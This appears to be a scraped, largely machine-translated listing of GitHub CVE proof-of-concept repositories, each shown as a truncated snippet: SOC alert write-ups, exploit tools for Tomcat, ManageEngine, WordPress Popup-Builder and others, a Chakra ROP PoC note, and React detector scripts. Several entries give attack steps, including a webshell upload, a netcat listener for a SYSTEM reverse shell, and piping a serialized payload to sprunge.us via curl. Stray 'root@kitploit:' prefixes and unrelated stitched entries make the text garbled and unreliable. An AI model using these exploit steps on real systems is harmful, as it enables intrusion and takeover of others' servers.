LetsDefend-SOC173-Follina-0-Day-Detected

LetsDefend-SOC173-Follina-0-Day-Detected 我们收到一个安全告警，提示检测到 Follina（CVE-2022-30190）漏洞。一个恶意 Word 文档触发了 msdt.exe 的执行，表明主机 JonasPRD 可能已被远程代码执行。我们的任务是调查此告警，确认漏洞利用情况，评估影响，并提出修复建议。 案例详情 2022 年 6 月 2 日 15:22，触发了一条安全告警，来源为 SOC173 – Follina 0-Day 检测 SIEM 规则 。该告警涉及名为 'JonasPRD' 的端点，IP 地址为...

CVE-2023-22809-sudo-POC

CVE-2023-22809-sudo-POC CVE-2023-22809 Linux Sudo...

CVE-2024-0235

徽章 许可证 MIT 安装 1. 安装 Python3 和 pip 说明在此（如果你连这个都搞不明白，那你可能不应该使用这个工具） 通过 pip 安装 root@kitploit: pip install CVE-2024-0235 运行以下命令检查 CVE-2024-0235 -h 配置 2. 我们集成了 Telegram API，以便在检测到漏洞时即时发送通知。 Telegram 通知 root@kitploit: CVE-2024-0235 --chatid 打开 Telegram，搜索 @CappricioSecuritiesToolsbot 并点击开始 用法 3...

vulnerability-in-Remix-React-Router-CVE-2025-31137-

概述 在阅读了 @zhero 在其个人博客文章中的分析后，我决定构建这个 CTF 来学习其工作原理，之后我决定将其分享给任何想学习如何利用此漏洞的人。我尝试使用 [email protected] 版本构建 CTF，但当我检查 @remix-run/express 时，注意到他们已修补了代码，于是我从他们的 GitHub 复制粘贴了存在漏洞的代码，因此你必须按照下面的说明修改 @remix-run/express 包的代码。 目标 你必须在管理员页面中找到 flag，应用程序的其他部分无法正常工作，所以只需专注于管理员页面并找到...

CVE-2024-37085

此存储库没有 README。...

CVE-2019-0604

此存储库没有 README。...

cve-2020-9006

CVE-2020-9006：Wordpress Popup-Builder 插件漏洞利用 用法： root@kitploit: Create and upload payload Also see: php create-serialized-payload.php -h $ php create-serialized-payload.php | curl -F 'sprunge=-' http://sprunge.us http://sprunge.us/XXXXXX Run exploit $ nmap --script ./cve-2020-9006 --script-args...

POC-for-CVE-2024-32019

Solamente para ayudar en la reparación de vulnerabilidades, nunca para otros usos...

CVE-2023-37478-Demo

CVE-2023-37478-演示...

Chakra-CVE-2019-0567

Chakra-CVE-2019-0567 一个导致代码执行的chakracore框架中的类型混淆漏洞的POC。 源自 Connor McGar 的博客 https://connormcgarr.github.io/ 注意：偏移量和ROP小工具取决于你使用的Windows版本，因此可能不适用于你。如果你将我的代码与Connor的POC进行比较，你会发现大部分偏移量都不同。那是因为我必须找到自己的ROP小工具！...

CVE-2017-12617

开始使用 此概念验证（Proof Of Concept）旨在演示如何利用 CVE-2017-12617 对 Apache Tomcat 服务器进行远程控制。 操作说明 1. 请执行以下命令以启动服务器。 make serverup 2. 执行以下命令以发起攻击并在服务器上上传一个 webshell（需要安装 cURL）。 make attack 如果此命令未自动打开您的浏览器，您可以访问： http://localhost:8080/webshell.jsp?cmd=pwd 现在您将能在浏览器中直接访问服务器上的 webshell。 常见问题 如果您在运行此概念验证时遇到任何问题，请在...

CVE-2026-93741

creationtimestamp| type| source ---|---|--- 2026-09-19 06:50:05+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mvu3qntka52t 2026-09-19 07:03:43+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mvu4izc7va2w 2026-09-19 08:02:12+00:00| seen|...

CVE-2024-32002_EXP

This repository does not have a README...

LetsDefend-SOC235-Atlassian-Confluence-Broken-Access-Control-0-Day-CVE-2023-22515-EventID-197

LetsDefend-SOC235-Atlassian-Confluence-访问控制失效零日漏洞-CVE-2023-22515-事件ID-197 我收到了一条高严重性告警，提示可能存在针对 CVE-2023-22515（Atlassian Confluence 中的一个零日漏洞）的利用尝试。告警显示，一个可疑的 GET 请求来自外部 IP，目标指向 Confluence 服务器，表明攻击者试图获取未授权的管理员访问权限。 该漏洞允许攻击者向 Confluence 实例 发送精心构造的请求，从而静默创建管理员账户，立即获得未授权控制。利用过程通常涉及从外部 IP...

CVE-2024-29973

CVE-2024-29973 利用CVE-2024-29973的异步性能进行漏洞检测与利用的工具。 安装： root@kitploit: git clone https://github.com/RevoltSecurities/CVE-2024-29973 pip install -r requirements.txt python3 exploit.py --help 使用： root@kitploit: python3 exploit.py -h / / / / / / / / | |// // / / / / / / / / / / / / / / // // / / / /...

cve-2020-14008

CVE-2020-14008 ManageEngine Exploit What is this? This script exploits CVE-2020-14008 in ManageEngine Applications Manager to get a reverse shell with SYSTEM privileges. Requirements root@kitploit: pip3 install requests urllib3 How to use it 1. Start a listener root@kitploit: nc -nlvp 9001 2. Run...

React2Shell

React2Shell — 易受攻击的实验室 CVE-2025-55182 React2Shell 是一个故意存在漏洞的 React.js 应用程序，专为与 CVE-2025-55182 相关的教育和研究目的而提供。它包含有意的非安全代码，不得用于生产环境。 该项目通过 Docker 打包并运行，使得轻松搭建一个用于学习、研究和安全测试的实验室环境成为可能。 博客链接：https://arulkumar.in/posts/react2shell-cve-2025-55182-docker-vulnerable-lab/ ⚠️ 重要 — 负责任使用...

CVE-2026-55040

CVE-2026-55040 Código de exploit para CVE-2026-55040, puede crear un encabezado de autenticación para cualquier cuenta validada. Detalles en: https://blog.viettelcybersecurity.com/sharepoint-cve-2026-55040/...

CVE-2014-0160

CVE-2014-0160 链接 https://github.com/DisK0nn3cT/MaltegoHeartbleed https://github.com/a0726h77/heartbleed-test https://github.com/musalbas/heartbleed-masstest https://github.com/decal/ssltest-stls https://github.com/isgroup-srl/openmagic https://github.com/offensive-python/HeartLeak Nmap nmap -sV...

React2Shell-CVE-2025-55182-Detector

前提条件 能够访问包含 package.json 的项目根目录 根据所使用的脚本，需要以下运行时之一： Python Javascript PowerShell 已安装 jq 的 Bash 使用方法 所有脚本必须从目标项目的根目录（即 package.json 文件所在目录）执行。 1. Python 检测 运行 Python 脚本以进行可靠的语义化版本比较： root@kitploit: python3 scripts/python/checkreactversions.py 2. JavaScript Node.js 检测 如果环境中存在 Node.js，则使用此选项：...